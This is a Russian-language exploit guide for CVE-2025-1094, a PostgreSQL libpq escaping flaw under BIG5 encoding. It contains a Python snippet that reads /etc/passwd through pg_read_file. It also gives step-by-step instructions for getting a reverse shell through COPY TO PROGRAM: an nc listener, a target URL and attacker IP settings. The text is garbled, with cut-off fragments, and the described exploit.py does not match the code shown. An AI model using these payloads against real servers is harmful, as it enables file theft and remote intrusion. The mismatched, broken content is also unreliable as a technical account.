
Это ошибка санитизации ввода, вызванная несоответствием кодировок, что позволяет специально сформированному вводу обойти фильтры. Если сервер уязвим, злоумышленник может внедрить вредоносный SQL, который выполняется на серверной стороне.
CVE‑2025‑1094 — это уязвимость санитизации ввода в escape-функциях libpq PostgreSQL и интерактивном инструменте psql. Она вызвана некорректной обработкой многобайтовых кодировок, когда клиентская кодировка установлена в BIG5. При определённых условиях это может привести к неправильной обработке escape-символов, что позволяет злоумышленникам обходить предполагаемые границы запросов.
Эта уязвимость была обнаружена компанией Rapid7 при анализе CVE‑2024‑12356, отдельной проблемы в устройствах BeyondTrust. Поведение PostgreSQL было использовано как часть более широкой цепочки уязвимостей для дальнейшего влияния на поведение бэкенда.
Когда веб-сервер или приложение передаёт пользовательский ввод напрямую в SQL-запросы, выполняемые через psql, и client_encoding установлена в BIG5, специально сформированный ввод может досрочно завершить SQL-выражение и добавить вредоносный SQL.
Это позволяет выполнять дополнительные операции, такие как чтение локальных файлов (например, /etc/passwd) через функции PostgreSQL lo_export, pg_read_file и подобные.
По умолчанию это не является уязвимостью удалённого выполнения кода (RCE) в PostgreSQL. Скорее, это неправильное использование клиентских API PostgreSQL, которое при некорректной фильтрации или экранировании может быть использовано для утечки содержимого конфиденциальных файлов или потенциально опасного SQL.
COPY TO, pg_read_file или lo_export в сочетании с SQL-инъекциями в клиентских приложениях.BIG5 и отсутствии должной санитизации ввода.client_encoding=BIG5.import psycopg2
conn = psycopg2.connect(
host="127.0.0.1",
dbname="test",
user="test",
password="Test"
)
conn.set_client_encoding("BIG5")
cursor = conn.cursor()
# Полезная нагрузка для чтения /etc/passwd в файл, доступный серверу
sql = \
"""
DO $$ DECLARE f text; BEGIN f := pg_read_file('/etc/passwd', 0, 1000);
RAISE NOTICE '%%', f; END $$;
"""
cursor.execute(sql)
conn.commit()
##✅ Что делает этот эксплойт.py:
Устанавливает PGCLIENTENCODING=BIG5 в окружении (условие триггера).
Формирует полезную нагрузку SQL-инъекции для выхода из запроса и вставки новой команды COPY TO PROGRAM.
Отправляет полезную нагрузку через GET-запрос к уязвимому веб-серверу (/search?q=...).
Если бэкенд использует psql и несанитизированный ввод, COPY TO PROGRAM выполняется и записывает результат или открывает оболочку.
⚠️ Обратная оболочка сработает только если сервер:
Выполняет SQL через psql (не параметризованные драйверы БД)
Разрешает COPY TO PROGRAM (требуется суперпользователь)
Имеет исходящее подключение к атакующему
#Скрипт на Python отправляет специально сформированную полезную нагрузку на уязвимый веб-сервер, который передаёт ввод напрямую в процесс psql PostgreSQL с кодировкой BIG5: Шаги для использования:
Запустите слушатель в терминале:
nc -lvnp 4444
Отредактируйте скрипт эксплойта:
Установите TARGET_URL на IP-адрес или домен целевого сервера. Убедитесь, что ENDPOINT соответствует маршруту (например, /search). Настройте REVERSE_IP и REVERSE_PORT в соответствии с вашей атакующей машиной.
Запустите скрипт в другом терминале:
python3 exploit.py
Результат: В случае успеха вы получите соединение на вашем слушателе. Если нет, попробуйте прочитать файлы (например, /etc/passwd) с помощью полезных нагрузок pg_read_file.
Для тестирования этого:
EUC_TW или подобной.psql или неэкранированный динамический SQL.pg_read_file или lo_export.client_encoding=BIG5, если это явно не требуется.